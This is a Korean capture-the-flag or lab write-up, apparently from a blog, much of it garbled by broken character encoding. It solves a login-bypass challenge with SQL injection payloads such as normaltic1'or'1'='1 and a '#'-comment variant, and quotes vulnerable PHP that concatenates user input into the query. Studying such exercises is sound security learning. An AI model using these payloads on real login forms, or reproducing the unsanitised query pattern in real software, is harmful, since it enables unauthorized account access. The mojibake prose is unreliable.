[SegFault] Authentication Bypass (Login)
Login Bypass 1.
normaltic1 ๋ก ๋ก๊ทธ์ธํ์!
๋ฌธ์ ํ์
- ์์ ํ์ด์ง์ ์ ์ํ๋ฉด ์๋์ ๊ฐ์ ํ๋ฉด์ด ๋์จ๋ค.
- ์๊ณ ์๋ ๊ณ์ : [ID/PW] : doldol / dol1234
- Burp Suite์ ์ด์ฉํ์ฌ ์ฌ์ดํธ ์ ์ ๊ณผ์ ์ ์ํ์ฝ๋(Status code) ํ์ธํ๋ค.
- 302 Found
- 200 OK
- ๋ก๊ทธ์ธ ๊ณผ์ ์ ๊ตฌ์กฐ๋ฅผ ์๊ธฐ ์ํด, ์๊ณ ์๋ ์ ๋ณด๋ก ๋ก๊ทธ์ธ์ ์๋ ํด๋ณธ๋ค.
- 302 Found
- 200 OK
- ์์ ๋ history์ ๋ํ ์์ฒญ(Request)์ ์ดํด๋ณด์ !
- ์์ฒญ(Requset)์์ POST ๋ฉ์๋๋ฅผ ์ด์ฉํ์ฌ /login1/login.php ๊ฒฝ๋ก์ ํ๋ผ๋ฏธํฐUserId=doldol&Password=dol1234&Submit=Login๋ฅผ ๋ณด๋ด๋ ๊ฒ์ ํ์ธ ๊ฐ๋ฅํ๋ค.
- login์ ์ฑ๊ณตํ์ฌ index.php๋ก ๋์ด๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์๊ฐ ๊ณผ์
์๊ฐ ๊ณผ์
1. SQL Injection์ด ๊ฐ๋ฅํ๊ฐ?
-> doldol' and '1'='1 / dol1234 ๋ก ๋ก๊ทธ์ธ์ด ๊ฐ๋ฅํ๋ค๋ฉด SQL Injection์ด ๋์ํ๋ค๋ ๊ฒ!
2. ์ด๋ค ๋ก๊ทธ์ธ ๋ก์ง์ผ๋ก ์ด๋ฃจ์ด์ ธ ์์๊น?
-> ์ฐ์ ์ ์ผ๋ก ์๋ณ/์ธ์ฆ ๋์๋ฅผ ์๊ฐ
SELECT * FROM member WHERE UserId='___' and UserPw='___';
3. ์ธ์ฆ/์๋ณ ๋์์ ๊ฒฝ์ฐ id์ ์ ์ํ๊ณ ์ ํ๋ id + 'or'1'='1์ ์ ๋ ฅํ์ฌ ์ฐธ์ด๋๊ฒ ๋ง๋ค๊ณ , pw์๋ ์๋ฌด๊ฑฐ๋ ์ ๋ ฅํด์ ๊ฑฐ์ง์ด ๋๊ฒ ํด์ผํจ์ ์ธ์(SQL์์ ์ฐ์ฐ์ ์ฐ์ ์์๊ฐ or ๋ณด๋ค and๊ฐ ๋จผ์ ๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅ)
(๊ฒฐ๋ก : id='normaltic1' or false๊ฐ ๋์ผํจ)
4. id : normaltic1'or'1'='1 / pw : ์๋ฌด๊ฑฐ๋ ์๋
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
์์ด๋(id)์๋ normaltic1'or'1'='1๋ฅผ ๋์ ํ๊ณ , ๋น๋ฐ๋ฒํธ(pw)์๋ ์๋ฌด๊ฑฐ๋ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค.
- ์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ ๋์ด Flag๊ฐ ๋์ด
- ๋ ๋๋ ๊ฒ์ ์์๊น? ๊ณ ๋ฏผ
- normaltic1'or'1'='1'#
- (๋ท ๋ถ๋ถ์ ์ฃผ์์ฒ๋ฆฌ)
์ด๊ฒ์ ๊ฒ ํ ์คํธ
ID : normaltic1' and '1' = '1' or '1' = '1
PW : dol1234
-> doldol๋ก ๋ก๊ทธ์ธ
ID : normaltic1' and '1' = '1' or '1' = '1
PW : ์๋ฌด๊ฑฐ๋
-> normaltic1๋ก ๋ก๊ทธ์ธ
ID : normaltic' or '1'='1'#
PW : ์๋ฌด๊ฑฐ๋
-> normaltic๋ก ๋ก๊ทธ์ธ
ID : normaltic' or '1'='1'#
PW : dol1234
-> doldol๋ก ๋ก๊ทธ์ธ
ID : ์๋ฌด๊ฑฐ๋
PW : normaltic' or '1'='1'#
-> ์ ์ฒด ๋ฐ์ดํฐ login_acc
ID: ์๋ฌด๊ฑฐ๋
PW:dol1234' or '1'='1'#
-> ์ ์ฒด ๋ฐ์ดํฐ
ํด๋น ๋ฌธ์ ์ ์ค์ ์ฝ๋
$sql = "SELECT * FROM member WHERE user_id='". $userid ."' and user_pass='". $userpass ."';";
$result = mysqli_query($db_conn, $sql);
$count = mysqli_num_rows($result);
$row = mysqli_fetch_array($result);
$username = $row['name'];
if($count > 0){
return $username;
}else{
return 0;
}
- ํด๋น ๋ฌธ์ ๋ฅผ ๋ณด๋ฉด ์ฃผ์์ด ์ ๋๋ก ๋จนํ์ง ์๋ ๊ฒ์ ์ ์ ์๋ค.
- (์์์ ๋ณผ ์ ์๋ฏ, ์๋ณ์ธ์ฆ ๋ถ๋ฆฌ๊ฐ ์๋๊ณ , ํํฐ๋ง์ด ์๋ ๊ฒ์ ๋ณผ ์ ์๋ค.)
- ์ฃผ์์ด ๋จนํ๊ณ ์์ง๋ง ์๋จนํ๋ ํจ๊ณผ๊ฐ ๋๋ ๊ฒ์ด๋ค.
- id : normaltic1' or '1'='1'#
- pw : dol1234
- -> doldol๋ก ๋ก๊ทธ์ธ
- ์ฃผ์์ด ๋จนํ๋ค๋ฉด, ๋น๋ฐ๋ฒํธ ๋ถ๋ถ์ด ์ฃผ์์ฒ๋ฆฌ ๋์ด normaltic1์ผ๋ก ๋ก๊ทธ์ธ ๋์ด์ผ ํ๋ค.
- ๋น๋ฐ๋ฒํธ๊ฐ dol1234์ด๋ผ๋ฉด ์ด๋ค ์ํฉ์๋ doldol๋ก ๋ก๊ทธ์ธ๋๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
์๊ฐํด๋ณผ ์
- ๋ง์ฝ ) id/pw ๋๋ค normaltic1'or'1'='1 ์ด๋ฐ์์ผ๋ก ๋ง๋ค์ด ์ฃผ๋ฉด ์ด๋ป๊ฒ ๋ ๊น?
- ์ฐธ or ์ฐธ ์ด ๋์ด ๊ฒฐ๋ก ์ด '์ฐธ' ์ด๋ฏ๋ก ๋ก๊ทธ์ธ ๊ฐ๋ฅ
- ํ์ง๋ง....!! ๋ชจ๋ ๊ฒ์ด ์กฐํ๋์ด login_acc๊ฐ ๋์ค๊ฒ ๋จ
- ์ ๋ถ ๋์ค๋ ค๋ฉด, ํน์ ๊ฐ์ผ๋ก ์ฐธ์ธ ๊ฐ์ด ์๋๊ณ , ๋ฌด์กฐ๊ฑด ์ฐธ์ธ ๋ช ์ ์ฌ์ผ ํจ
- normaltic, normaltic1~5๊ฐ ๋ค์ด๊ฐ๋ ๊ฒฝ์ฐ ํด๋น์ผ๋ก ๋ก๊ทธ์ธ๋๊ณ ๊ทธ ์ธ์๋ ๋ก๊ทธ์ธ ๋์ง ์๋๋ค.
- ์ ์ฒด๋ก ๋ก๊ทธ์ธ ๋๊ณ ๋์ ํด๋น ์์ด๋๊ฐ ์๋ ๊ฒฝ์ฐ์๋ง ๋ก๊ทธ์ธ ๋๊ธฐ ๋๋ฌธ์ด๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์